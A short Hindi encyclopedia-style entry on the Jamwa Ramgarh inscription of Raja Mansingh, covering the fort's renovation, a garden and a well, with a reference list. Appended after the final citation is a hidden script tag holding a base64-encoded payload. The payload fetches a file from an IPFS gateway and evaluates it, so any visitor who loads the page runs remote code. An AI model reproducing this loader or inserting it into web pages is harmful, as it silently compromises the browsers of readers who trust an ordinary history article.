जमवा रामगढ़ शिलालेख
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जमवा रामगढ़ शिलालेख (अंग्रेज़ी: Jamwa Ramgarh Inscriptions) 1613 ई. का है। इससे ज्ञात होता है कि राजा मानसिंह अपने पिता भगवानदास के दत्तक पुत्र थे।[1]
- जमवा रामगढ़ के किले से पुरातत्त्व विभाग को एक शिलालेख उपलब्ध हुआ है। शिलालेख में आमेर के राजा मानसिंह प्रथम द्वारा ईस्वी सन 1612 में जब मुग़ल बादशाह जहांगीर का शासन था, तब इस किले के नवनिर्माण का उल्लेख है। पीताम्बर पुरोहित की देखरेख में राजा मानसिंह ने यहां एक बाग़ लगवाया और कुआं भी खुदवाया। भारतीय पुरातत्त्व सर्वेक्षण विभाग ने किले में दो जलाशयों का उल्लेख किया है।
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टीका टिप्पणी और संदर्भ
- ↑ राजस्थान के अभिलेख (हिंदी) rajgk.in। अभिगमन तिथि: 19 दिसम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>